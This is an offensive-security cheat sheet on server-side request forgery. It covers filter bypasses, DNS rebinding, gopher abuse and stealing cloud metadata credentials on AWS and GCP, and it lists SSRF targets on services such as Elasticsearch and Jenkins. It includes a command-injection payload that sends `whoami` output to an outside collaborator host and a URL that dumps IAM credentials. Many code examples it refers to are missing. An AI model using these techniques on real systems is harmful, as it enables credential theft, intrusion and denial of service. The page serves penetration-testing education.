SSRF (Server Side Request Forgery)
What is Server Side Request Forgery?
Server-side request forgery (also known as SSRF) is a web security vulnerability that allows an attacker to induce the server-side application to make HTTP requests to an arbitrary domain of the attacker's choosing. (From here)
What you should try to do
Accessing to local files (file://)
Trying to access to local IP
Local IP bypass
DNS spoofing (domains pointing to 127.0.0.1)
DNS Rebinding (resolves to an IP and next time to a local IP: http://rbnd.gl0.eu/dnsbin). This is useful to bypass configurations which resolves the given domain and check it against a white-list and then try to access it again (as it has to resolve the domain again a different IP can be served by the DNS). More info here.
Trying to make an internal assets discovery and internal port scan.
Accessing private content (filtered by IP or only accessible locally, like /admin path).
Internet Exfiltration Services
You could use burpcollab or pingb **for example.
Bypass restrictions
Basic bypass localhost
Bypass using DNS -> localhost
Other bypasses
Bypass domain regexp
Go to the proposed bypasses for Referer header in CSRF****
Bypass via redirect
It might be possible that the server is filtering the original request of a SSRF but not a possible redirect response to that request.
For example, a server vulnerable to SSRF via: url=https://www.google.com/
might be filtering the url param. But if you uses a python server to respond with a 302 to the place where you want to redirect, you might be able to access filtered IP addresses like 127.0.0.1 or even filtered protocols like gopher.
Check out this report.
Bypass via open redirect
If the server is correctly protected you could bypass all the restrictions by exploiting an Open Redirect inside the web page. Because the webpage will allow SSRF to the same domain and probably will follow redirects, you can exploit the Open Redirect to make the server to access internal any resource. Read more here: https://portswigger.net/web-security/ssrf
SSRF via Referrer header
Some applications employ server-side analytics software that tracks visitors. This software often logs the Referrer header in requests, since this is of particular interest for tracking incoming links. Often the analytics software will actually visit any third-party URL that appears in the Referrer header. This is typically done to analyze the contents of referring sites, including the anchor text that is used in the incoming links. As a result, the Referer header often represents fruitful attack surface for SSRF vulnerabilities. To discover this kind of "hidden" vulnerabilities you could use the plugin "Collaborator Everywhere" from Burp.
Server browser enumeration
You can use applications like http://webhook.site to find which browser is being used.
Exploitation
file://
dict://
The DICT URL scheme is used to refer to definitions or word lists available using the DICT protocol:
SFTP://
A network protocol used for secure file transfer over secure shell
TFTP://
Trivial File Transfer Protocol, works over UDP
LDAP://
Lightweight Directory Access Protocol. It is an application protocol used over an IP network to manage and access the distributed directory information service.
Gopher://
Using this protocol you can specify the ip, port and bytes you want the listener to send. Then, you can basically exploit a SSRF to communicate with any TCP server (but you need to know how to talk to the service first). Fortunately, you can use https://github.com/tarunkant/Gopherus to already create payloads for several services.
Gopher smtp
Gopher HTTP
Gopher SMTP — Back connect to 1337
SMTP
From https://twitter.com/har1sec/status/1182255952055164929: 1. connect with SSRF on smtp localhost:25 2. from the first line get the internal domain name 220 http://blabla.internaldomain.com ESMTP Sendmail 3. search http://internaldomain.com on github, find subdomains 4. connect
SSRF with Command Injection
It might be worth trying a payload like: `url=http://3iufty2q67fuy2dew3yug4f34.burpcollaborator.net?
whoami```
Exploiting PDFs Rendering
If the web page is automatically creating a PDF with some information you have provided, you can insert some JS that will be executed by the PDF creator itself (the server) while creating the PDF and you will be able to abuse a SSRF. Find more information here.****
From SSRF to DoS
Create several sessions and try to download heavy files exploiting the SSRF from the sessions.
Abusing DNS Rebidding + TLS Session ID/Session ticket
Requirements:
SSRF
Outbound TLS sessions
Stuff on local ports
Attack:
Ask the user/bot access a domain controlled by the attacker
The TTL of the DNS is 0 sec (so the victim will check the IP of the domain again soon)
A TLS connection is created between the victim and the domain of the attacker. The attacker introduces the payload inside the Session ID or Session Ticket.
The domain will start an infinite loop of redirects against himself. The goal of this is to make the user/bot access the domain until it perform again a DNS request of the domain.
In the DNS request a private IP address is given now (127.0.0.1 for example)
The user/bot will try to reestablish the TLS connection and in order to do so it will send the Session ID/Ticket ID (where the payload of the attacker was contained). So congratulations you managed to ask the user/bot attack himself.
Note that during this attack, if you want to attack localhost:11211 (memcache) you need to make the victim establish the initial connection with www.attacker.com:11211 (the port must always be the same). To perform this attack you can use the tool: https://github.com/jmdx/TLS-poison/ For more information take a look to the talk where this attack is explained: https://www.youtube.com/watch?v=qGpAJxfADjo&ab_channel=DEFCONConference
Exploitation in Cloud
Abusing SSRF in AWS EC2 environment
169.254.169.254 - Metadata Address
Metadata of the basic virtual machines from AWS (called EC2) can be retrieved from the VM accessing the url: http://169.254.169.254
(information about the metadata here).
The IP address 169.254.169.254 is a magic IP in the cloud world. AWS, Azure, Google, DigitalOcean and others use this to allow cloud resources to find out metadata about themselves. Some, such as Google, have additional constraints on the requests, such as requiring it to use Metadata-Flavor: Google
as an HTTP header and refusing requests with an X-Forwarded-For
header. AWS has no constraints.
Sending a GET requests to the following endpoint will dump a list of roles that are attached to the current EC2 instance:
If you want to access your S3 bucket you would normally hard-code your API keys into your application. Hard-coding clear text passwords is a bad idea. This is why you can assign your EC2 instance a role which can be used to access your S3 bucket. These credentials are automatically rotated by AWS and can be access thought the metadata API.
Once you get a list of roles attached to the EC2 instance you can dump their credentials by making a GET requests to the following URL:
As an example you can visit: http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws
The response should look something like this:
You can then take those credentials and use them with the AWS CLI. This will allow you to do anything that role has permissions to do. If the role has improper permissions set (Most likely) you will be able to do all kinds of things, you might even be able to take over their entire cloud network.
To take advantage of the new credentials, you will need to crate a new AWS profile like this one:
Notice the aws_session_token, this is indispensable for the profile to work. Information taken from: http://ghostlulz.com/ssrf-aws-credentials/ (read that post for further information). Another possible interesting place where you can find credentials is in http://169.254.169.254/user-data
PACU **can be used with the discovered credentials to find out your privileges and try to escalate privileges
SSRF in AWS ECS (Container Service) credentials
ECS, is a logical group of EC2 instances on which you can run an application without having to scale your own cluster management infrastructure because ECS manages that for you. If you manage to compromise service running in ECS, the metadata endpoints change.
If you access http://169.254.170.2/v2/credentials/<GUID> you will find the credentials of the ECS machine. But first you need to find the <GUID> . To find the <GUID> you need to read the environ variable AWS_CONTAINER_CREDENTIALS_RELATIVE_URI inside the machine. You could be able to read it exploiting an Path Traversal to file:///proc/self/environ The mentioned http address should give you the AccessKey, SecretKey and token.
SSRF URL for AWS Elastic Beanstalk
We retrieve the accountId
and region
from the API.
We then retrieve the AccessKeyId
, SecretAccessKey
, and Token
from the API.
Then we use the credentials with aws s3 ls s3://elasticbeanstalk-us-east-2-[ACCOUNT_ID]/
.
SSRF URL for Google Cloud
Requires the header “Metadata-Flavor: Google” or “X-Google-Metadata-Request: True”
Google allows recursive pulls
Beta does NOT require a header atm (thanks Mathias Karlsson @avlidienbrunn)
Interesting files to pull out:
Add an SSH key
Extract the token
Check the scope of the token
Now push the SSH key.
SSRF URL for Digital Ocean
Documentation available at https://developers.digitalocean.com/documentation/metadata/
SSRF URL for Packetcloud
Documentation available at https://metadata.packet.net/userdata
SSRF URL for Azure
Limited, maybe more exists? https://azure.microsoft.com/en-us/blog/what-just-happened-to-my-vm-in-vm-metadata-service/
http://169.254.169.254/metadata/v1/maintenance
Update Apr 2017, Azure has more support; requires the header “Metadata: true” https://docs.microsoft.com/en-us/azure/virtual-machines/windows/instance-metadata-service
SSRF URL for OpenStack/RackSpace
(header required? unknown)
SSRF URL for HP Helion
(header required? unknown)
SSRF URL for Oracle Cloud
SSRF URL for Alibaba
SSRF URL for Kubernetes ETCD
Can contain API keys and internal ip and ports
SSRF URL for Docker
SSRF URL for Rancher
Blind SSRF
The difference between a blind SSRF and a not blind one is that in the blind you cannot see the response of the SSRF request. Then, it is more difficult to exploit because you will be able to exploit only well-known vulnerabilities.
Time based SSRF
Checking the time of the responses from the server it might be possible to know if a resource exists or not (maybe it takes more time accessing an existing resource than accessing one that doesn't exist)
Detect SSRF
You can use https://github.com/teknogeek/ssrf-sheriff to create an HTTP server that will respond correctly to a lot of different requests (GET, POST, PTU, DELETE, JSON, TXT, GIF, MP3...).
To practice
Vulnerable Platforms
This section was copied from https://blog.assetnote.io/2021/01/13/blind-ssrf-chains/
Elasticsearch
Commonly bound port: 9200
When Elasticsearch is deployed internally, it usually does not require authentication.
If you have a partially blind SSRF where you can determine the status code, check to see if the following endpoints return a 200:
If you have a blind SSRF where you can send POST requests, you can shut down the Elasticsearch instance by sending a POST request to the following path:
Note: the _shutdown
API has been removed from Elasticsearch version 2.x. and up. This only works in Elasticsearch 1.6 and below:
Weblogic
Commonly bound ports: 80, 443 (SSL), 7001, 8888
SSRF Canary: UDDI Explorer (CVE-2014-4210)
This also works via GET:
This endpoint is also vulnerable to CRLF injection:
Will result in the following request:
SSRF Canary: CVE-2020-14883
Taken from here.
Linux:
Windows:
Hashicorp Consul
Commonly bound ports: 8500, 8501 (SSL)
Writeup can be found here.
Shellshock
Commonly bound ports: 80, 443 (SSL), 8080
In order to effectively test for Shellshock, you may need to add a header containing the payload. The following CGI paths are worth trying:
Short list of CGI paths to test:
SSRF Canary: Shellshock via User Agent
Apache Druid
Commonly bound ports: 80, 8080, 8888, 8082
See the API reference for Apache Druid here.
If you can view the status code, check the following paths to see if they return a 200 status code:
Shutdown tasks, requires you to guess task IDs or the datasource name:
Shutdown supervisors on Apache Druid Overlords:
Apache Solr
Commonly bound port: 8983
SSRF Canary: Shards Parameter
Taken from here.
SSRF Canary: Solr XXE (2017)
Apache Solr 7.0.1 XXE (Packetstorm)
RCE via dataImportHandler
Research on RCE via dataImportHandler
PeopleSoft
Commonly bound ports: 80,443 (SSL)
Taken from this research here.
SSRF Canary: XXE #1
SSRF Canary: XXE #2
Apache Struts
Commonly bound ports: 80,443 (SSL),8080,8443 (SSL)
Taken from here.
SSRF Canary: Struts2-016:
Append this to the end of every internal endpoint/URL you know of:
JBoss
Commonly bound ports: 80,443 (SSL),8080,8443 (SSL)
Taken from here.
SSRF Canary: Deploy WAR from URL
Confluence
Commonly bound ports: 80,443 (SSL),8080,8443 (SSL)
SSRF Canary: Sharelinks (Confluence versions released from 2016 November and older)
SSRF Canary: iconUriServlet - Confluence < 6.1.3 (CVE-2017-9506)
Atlassian Security Ticket OAUTH-344
Jira
Commonly bound ports: 80,443 (SSL),8080,8443 (SSL)
SSRF Canary: iconUriServlet - Jira < 7.3.5 (CVE-2017-9506)
Atlassian Security Ticket OAUTH-344
SSRF Canary: makeRequest - Jira < 8.4.0 (CVE-2019-8451)
Atlassian Security Ticket JRASERVER-69793
Other Atlassian Products
Commonly bound ports: 80,443 (SSL),8080,8443 (SSL)
SSRF Canary: iconUriServlet (CVE-2017-9506):
Bamboo < 6.0.0
Bitbucket < 4.14.4
Crowd < 2.11.2
Crucible < 4.3.2
Fisheye < 4.3.2
Atlassian Security Ticket OAUTH-344
OpenTSDB
Commonly bound port: 4242
OpenTSDB Remote Code Execution
SSRF Canary: curl via RCE
Jenkins
Commonly bound ports: 80,443 (SSL),8080,8888
Great writeup here.
SSRF Canary: CVE-2018-1000600
RCE